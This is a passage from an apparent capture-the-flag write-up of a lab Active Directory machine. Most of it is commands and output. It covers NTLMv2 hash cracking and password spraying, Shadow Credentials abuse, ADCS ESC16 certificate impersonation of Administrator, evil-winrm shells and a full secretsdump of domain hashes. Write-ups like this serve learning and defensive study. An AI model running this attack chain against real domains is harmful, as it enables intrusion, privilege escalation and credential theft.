5842943 blocks of size 4096. 2237475 blocks available
After waiting a brief amount of time…
[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv2-SSP Client : 10.10.11.69
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:f0df988eaa045b9e:9d2fa7a289500b67117e497389ae4570:010100000000000080e3eca40a18dc01465625f06a66a138000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f00550050000700080080e3eca40a18dc01060004000200000008003000300000000000000001000000002000001c3f319ced08cf666a618db56cc9525adb4329be0e105d1461cd8aa23d39036f0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00330030000000000000000000
Using hashcat yielded a plaintext password
$ hashcat -m 5600 pagila /usr/share/wordlists/rockyou.txt.gz
hashcat (v6.2.6) starting
P.AGILA::FLUFFY:f0df988eaa045b9e:9d2fa7a289500b67117e497389ae4570:010100000000000080e3eca40a18dc01465625f06a66a138000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f00550050000700080080e3eca40a18dc01060004000200000008003000300000000000000001000000002000001c3f319ced08cf666a618db56cc9525adb4329be0e105d1461cd8aa23d39036f0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00330030000000000000000000:prometheusx-303
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
At this point, I had two credentials, so I decided to do a password spray with them to see if there was credential re-use anywhere.
$ nxc smb fluffy.htb -u /tmp/users.txt -p 'prometheusx-303'
SMB 10.10.11.69 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.69 445 DC01 [-] fluffy.htb\krbtgt:prometheusx-303 STATUS_LOGON_FAILURE
SMB 10.10.11.69 445 DC01 [-] fluffy.htb\ca_svc:prometheusx-303 STATUS_LOGON_FAILURE
SMB 10.10.11.69 445 DC01 [-] fluffy.htb\ldap_svc:prometheusx-303 STATUS_LOGON_FAILURE
SMB 10.10.11.69 445 DC01 [+] fluffy.htb\p.agila:prometheusx-303
$ nxc smb fluffy.htb -u /tmp/users.txt -p 'J0elTHEM4n1990!'
SMB 10.10.11.69 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.69 445 DC01 [-] fluffy.htb\krbtgt:J0elTHEM4n1990! STATUS_LOGON_FAILURE
SMB 10.10.11.69 445 DC01 [-] fluffy.htb\ca_svc:J0elTHEM4n1990! STATUS_LOGON_FAILURE
SMB 10.10.11.69 445 DC01 [-] fluffy.htb\ldap_svc:J0elTHEM4n1990! STATUS_LOGON_FAILURE
SMB 10.10.11.69 445 DC01 [-] fluffy.htb\p.agila:J0elTHEM4n1990! STATUS_LOGON_FAILURE
SMB 10.10.11.69 445 DC01 [-] fluffy.htb\winrm_svc:J0elTHEM4n1990! STATUS_LOGON_FAILURE
SMB 10.10.11.69 445 DC01 [-] fluffy.htb\j.coffey:J0elTHEM4n1990! STATUS_LOGON_FAILURE
SMB 10.10.11.69 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
Bloodhound
Now, I decided to use bloodhound to gather some information and figure out a path forward from here.
$ bloodhound-python -dc dc01.fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!' -c all -ns 10.10.11.69 -d fluffy.htb
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: fluffy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 00M 03S

Some of the insights I discovered:
- The user P.AGILA@FLUFFY.HTB is a member of the group SERVICE ACCOUNT MANAGERS@FLUFFY.HTB.
- The members of the group SERVICE ACCOUNT MANAGERS@FLUFFY.HTB have GenericAll privileges to the group SERVICE ACCOUNTS@FLUFFY.HTB.
- The members of the group SERVICE ACCOUNTS@FLUFFY.HTB have generic write access to the user WINRM_SVC@FLUFFY.HTB.
- The user WINRM_SVC@FLUFFY.HTB has the capability to create a PSRemote Connection with the computer DC01.FLUFFY.HTB.
GenericAll abuse
I decide to target winrm_svc to get a remote login via winrm and likely user.txt. I added p.agila to the service accounts group.
$net rpc group addmem "Service Accounts" "p.agila" -U "FLUFFY"/"p.agila"%"prometheusx-303" -S "dc01.fluffy.htb"
Confirmed…
$ net rpc group members "Service Accounts" -U "FLUFFY"/"p.agila"%"prometheusx-303" -S "dc01.fluffy.htb"
FLUFFY\ca_svc
FLUFFY\ldap_svc
FLUFFY\p.agila
FLUFFY\winrm_svc
GenericWrite abuse / Shadow Credentials – winrm_svc
I now use pywhisker.py to planting your own certificate into another account’s msDS-KeyCredentialLink attribute in Active Directory
$ python3 pywhisker/pywhisker.py -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target winrm_svc --action add
[*] Searching for the target account
[*] Target user found: CN=winrm service,CN=Users,DC=fluffy,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 39178640-109c-56df-1d7e-d167ea011eed
[*] Updating the msDS-KeyCredentialLink attribute of winrm_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: fj5G1pNj.pfx
[+] PFX exportiert nach: fj5G1pNj.pfx
[i] Passwort für PFX: RdysAKWeJG4TSltAdzE8
[+] Saved PFX (#PKCS12) certificate & key at path: fj5G1pNj.pfx
[*] Must be used with password: RdysAKWeJG4TSltAdzE8
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Now I use gettgtpkinit.py to authenticate as the winrm_svc account using PKINIT
$ python3 gettgtpkinit.py fluffy.htb/winrm_svc -cert-pfx /tmp/pywhisker/fj5G1pNj.pfx -pfx-pass RdysAKWeJG4TSltAdzE8 test.ccache
2025-08-28 06:52:56,498 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-08-28 06:52:56,521 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-08-28 06:53:06,495 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-08-28 06:53:06,495 minikerberos INFO 5166a8539cce918aaa565510cc4b1fb20f95936771fd37a6c168c3f631dc47a1
INFO:minikerberos:5166a8539cce918aaa565510cc4b1fb20f95936771fd37a6c168c3f631dc47a1
2025-08-28 06:53:06,497 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
Finally, getnthash.py to revrieve an NT hash as the winrm_svc account
$python3 getnthash.py fluffy.htb/winrm_svc -key 5166a8539cce918aaa565510cc4b1fb20f95936771fd37a6c168c3f631dc47a1
Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
33bd09dcd697600edf6b3a7af4875767
It is now possible to use evil-winrm to get a remote session on the DC as winrm_svc and retrieve user.txt
$ evil-winrm -i 10.10.11.69 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> ls
*Evil-WinRM* PS C:\Users\winrm_svc> cd Desktop
*Evil-WinRM* PS C:\Users\winrm_svc\Desktop> ls
Directory: C:\Users\winrm_svc\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 8/28/2025 12:49 AM 34 user.txt
*Evil-WinRM* PS C:\Users\winrm_svc\Desktop> cat user.txt
3d4f931f86b11bbacc721033c2ced69a
Path to root.txt
GenericWrite abuse / Shadow Credentials – ca_svc
When thinking about a path to root.txt, I recalled that we saw evidence (user account and group names) that suggested certificate services were in play. I decided to abuse the same writes we used to get access to winrm_svc to get the hash for ca_svc to run certipy with.
Start with pywhisker.py
$ python3 pywhisker/pywhisker.py -d "10.10.11.69" -u "winrm_svc" -H "33bd09dcd697600edf6b3a7af4875767" --target ca_svc --action add
[*] Searching for the target account
[*] Target user found: CN=certificate authority
service,CN=Users,DC=fluffy,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 16a36737-cf14-f1a4-8891-be96a0c3f4c5
[*] Updating the msDS-KeyCredentialLink attribute of ca_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: EUUhyqWH.pfx
[+] PFX exportiert nach: EUUhyqWH.pfx
[i] Passwort für PFX: tH8TtwFFwvNBZV6s856i
[+] Saved PFX (#PKCS12) certificate & key at path: EUUhyqWH.pfx
[*] Must be used with password: tH8TtwFFwvNBZV6s856i
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Now use gettgtpkinit.py
$ python3 gettgtpkinit.py fluffy.htb/ca_svc -cert-pfx /tmp/pywhisker/EUUhyqWH.pfx -pfx-pass tH8TtwFFwvNBZV6s856i test.ccache
2025-08-28 22:32:56,510 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-08-28 22:32:56,534 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-08-28 22:33:06,248 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-08-28 22:33:06,249 minikerberos INFO 6761ca6cad69169620b91f39b2cd7811c3f77828bbcd0787c89610aebb632f0c
INFO:minikerberos:6761ca6cad69169620b91f39b2cd7811c3f77828bbcd0787c89610aebb632f0c
2025-08-28 22:33:06,251 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
Now use getnthash.py
$ python3 getnthash.py fluffy.htb/ca_svc -key 6761ca6cad69169620b91f39b2cd7811c3f77828bbcd0787c89610aebb632f0c
Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
ca0f4f9e9eb8a092addf53bb03fc98c8
certipy
I ended up having issues using certipy.py – I had to instead use certipy-ad from Kali’s package manager to get this to work.
└─$ certipy-ad find -u 'ca_svc' -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -vulnerable -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : fluffy-DC01-CA
DNS Name : DC01.fluffy.htb
Certificate Subject : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
Certificate Serial Number : 3670C4A715B864BB497F7CD72119B6F5
Certificate Validity Start : 2025-04-17 16:00:16+00:00
Certificate Validity End : 3024-04-17 16:11:16+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Disabled Extensions : 1.3.6.1.4.1.311.25.2
Permissions
Owner : FLUFFY.HTB\Administrators
Access Rights
ManageCa : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
ManageCertificates : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
Enroll : FLUFFY.HTB\Cert Publishers
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
[*] Remarks
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates : [!] Could not find any certificate templates
Here we can see ESC16 is a vulnerability that comes back.
ADCS exploitation – ESC16
When looking into this, I found this article that I referenced: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
View account attributes for ca_svc prior to doing anything:
$ certipy-ad account -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -user 'ca_svc' read
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Reading attributes for 'ca_svc':
cn : certificate authority service
distinguishedName : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
name : certificate authority service
objectSid : S-1-5-21-497550768-2797716248-2627064577-1103
sAMAccountName : ca_svc
servicePrincipalName : ADCS/ca.fluffy.htb
userPrincipalName : ca_svc@fluffy.htb
userAccountControl : 66048
whenCreated : 2025-04-17T16:07:50+00:00
whenChanged : 2025-08-29T03:50:57+00:00
Update the userPrincipalName on ca_svc to impersonate Administrator
$ certipy-ad account -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -upn 'administrator' -user 'ca_svc' update
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : administrator
[*] Successfully updated 'ca_svc'
We can now request certificates for Administrator
$ certipy-ad req -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -target 'DC01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 15
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Now we can revert the UPN change to ca_svc
$ certipy-ad account -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : ca_svc@fluffy.htb
[*] Successfully updated 'ca_svc'
Authenticate with the stolen certificate
$ certipy-ad auth -pfx administrator.pfx -username 'administrator' -domain 'fluffy.htb' -dc-ip 10.10.11.69
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
Use evil-winrm to open up a remote session…
$ evil-winrm -i 10.10.11.69 -u administrator -H '8da83a3fa618b6e3a00e93f676c92a6e'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
fluffy\administrator
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
c60438c8a32802430b8edfcf48cf119e
And now we are Administrator and can do all the fun things we want. Like running secretsdump.
$ impacket-secretsdump FLUFFY/Administrator@10.10.11.69 -hashes :8da83a3fa618b6e3a00e93f676c92a6e -use-vss
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xffa5608d6bd2811aaabfd47fbc3d1c37
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
FLUFFY\DC01$:aes256-cts-hmac-sha1-96:34b5e3f67441a6c19509cb966b9e5392e48257ff5058e7a22a4282fe822a5751
FLUFFY\DC01$:aes128-cts-hmac-sha1-96:19a1dd430a92c3568f04814342d8e486
FLUFFY\DC01$:des-cbc-md5:ec13a85edf688a85
FLUFFY\DC01$:plain_password_hex:c051a2b56dd8422b09fcc441e1bfaf0a5f0fe659a1634184e7dd6849da03747cad2050bd71e55da3e979245cb872106b52367ac876380294db669d308655c9f8f72b71ea10b4cc90199e1a059645dad4e77b3b982de60b7a59af8d4261b0077be1890caf3aa7e6290dcbc0c443f81bc6124cdef4e26472b3a5c8bcd8fc666b876709496e61a026559328d19db45819e69695bbafda526692513d2457e98de68b9473b08ed96e1d50b06dc53c6e58a595feebd6568a2a75811a5456336f40ede98c2996a0360a618d492e112a905235641126ad3234d68a920c0cd9439b4bd7203d28a1ad4d2ebdbe484d47836735b4cb
FLUFFY\DC01$:aad3b435b51404eeaad3b435b51404ee:7a9950c26fe9c3cbfe5b9ceaa21c9bfd:::
[*] DefaultPassword
p.agila:prometheusx-303
[*] DPAPI_SYSTEM
dpapi_machinekey:0x50f64bc1be95364da6cc33deca194d9b827c4846
dpapi_userkey:0xe410025a604608d81064e274f6eb46cba458ebd5
[*] NL$KM
0000 0B 4A EC B4 04 86 59 99 A3 11 64 45 1D F8 EF E0 .J....Y...dE....
0010 74 E0 BB 5A 07 EA AD B9 63 4D AB 03 B5 0F 69 3D t..Z....cM....i=
0020 C5 C2 F8 4E F0 EC EC B6 28 A2 59 AB BA 2B F0 A2 ...N....(.Y..+..
0030 57 89 D1 62 FA 69 04 2A 31 57 54 5A FB B0 2A 18 W..b.i.*1WTZ..*.
NL$KM:0b4aecb404865999a31164451df8efe074e0bb5a07eaadb9634dab03b50f693dc5c2f84ef0ececb628a259abba2bf0a25789d162fa69042a3157545afbb02a18
[*] Searching for NTDS.dit
[*] Registry says NTDS.dit is at C:\Windows\NTDS\ntds.dit. Calling vssadmin to get a copy. This might take some time
[*] Using smbexec method for remote execution
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 8ca25a3f676741c63bb944b06ded3893
[*] Reading and decrypting hashes from \\10.10.11.69\ADMIN$\Temp\ApxBUCsN.tmp
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:7a9950c26fe9c3cbfe5b9ceaa21c9bfd:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9c3442d41139f13bd02f0695d56362b9:::
fluffy.htb\ca_svc:1103:aad3b435b51404eeaad3b435b51404ee:ca0f4f9e9eb8a092addf53bb03fc98c8:::
fluffy.htb\ldap_svc:1104:aad3b435b51404eeaad3b435b51404ee:22151d74ba3de931a352cba1f9393a37:::
fluffy.htb\p.agila:1601:aad3b435b51404eeaad3b435b51404ee:a51fede5012110e9a65bd3f470513867:::
fluffy.htb\winrm_svc:1603:aad3b435b51404eeaad3b435b51404ee:33bd09dcd697600edf6b3a7af4875767:::
fluffy.htb\j.coffey:1605:aad3b435b51404eeaad3b435b51404ee:dff933046fa0943ac993d35a054235e3:::
fluffy.htb\j.fleischman:1606:aad3b435b51404eeaad3b435b51404ee:10842ead8d1d060a2de1394e4b2ea460:::
[*] Kerberos keys from \\10.10.11.69\ADMIN$\Temp\ApxBUCsN.tmp
Administrator:aes256-cts-hmac-sha1-96:d79b7fb71c2fc3c913fb59a3ac7c19c16c6637783c2a3bafe87723e90e99d2d2
Administrator:aes128-cts-hmac-sha1-96:72330cfd187d8ced05afda3d9a9fefea
Administrator:des-cbc-md5:403ec8b9e6b0d031
DC01$:aes256-cts-hmac-sha1-96:34b5e3f67441a6c19509cb966b9e5392e48257ff5058e7a22a4282fe822a5751
DC01$:aes128-cts-hmac-sha1-96:19a1dd430a92c3568f04814342d8e486
DC01$:des-cbc-md5:b94a2fb0ef98614a
krbtgt:aes256-cts-hmac-sha1-96:bce1e1f6f529302071ea37bafc49764526db568a7808a0ed55313eeb86dce183
krbtgt:aes128-cts-hmac-sha1-96:c85fbebccd28b736047f75a96714374b
krbtgt:des-cbc-md5:b558703707f27a62
fluffy.htb\ca_svc:aes256-cts-hmac-sha1-96:8dad02a4db02f3ffb213195a04743c404aed41c128b2953160c4cbe04d71c51b
fluffy.htb\ca_svc:aes128-cts-hmac-sha1-96:0ea0cae5076362a19f909b53d96217eb
fluffy.htb\ca_svc:des-cbc-md5:89c8f802b6dcd3a1
fluffy.htb\ldap_svc:aes256-cts-hmac-sha1-96:f6bf787afe770c155767769caf708f9a38a877da0bf5a248b7f35eacec44395c
fluffy.htb\ldap_svc:aes128-cts-hmac-sha1-96:192716f566e02696ff9bb68eb7b31635
fluffy.htb\ldap_svc:des-cbc-md5:07b93b58ba3b6b58
fluffy.htb\p.agila:aes256-cts-hmac-sha1-96:d406a2be082d99748731aa06db12082be1ba82b785e9034b4c8c9bbee6ea9c81
fluffy.htb\p.agila:aes128-cts-hmac-sha1-96:3432d6e28d562b56b79724e8dd140902
fluffy.htb\p.agila:des-cbc-md5:94974cb649986192
fluffy.htb\winrm_svc:aes256-cts-hmac-sha1-96:d39116a2e57c08e6a11efd0d8bb095057757cbe33ef8071b5a2941ae7ffd6361
fluffy.htb\winrm_svc:aes128-cts-hmac-sha1-96:49f7be01bda911e219aa563d2b8b6c2b
fluffy.htb\winrm_svc:des-cbc-md5:5d7320d6866162bf
fluffy.htb\j.coffey:aes256-cts-hmac-sha1-96:6a75e552c557c6d62998edc7886e71a6c00194fffe5a745551bda945afce7bcc
fluffy.htb\j.coffey:aes128-cts-hmac-sha1-96:4ce6fb38d69657c43b83f77cfa57bbde
fluffy.htb\j.coffey:des-cbc-md5:83b685084f34ea04
fluffy.htb\j.fleischman:aes256-cts-hmac-sha1-96:e63c60e41f7f45687527fb9042d668272b7695c6478d3fa11f4c729fa7349b6b
fluffy.htb\j.fleischman:aes128-cts-hmac-sha1-96:dc9450b2c85e8c35f2be9e9fb9b2bbe1
fluffy.htb\j.fleischman:des-cbc-md5:760e31b00d20cd9e
[*] Cleaning up...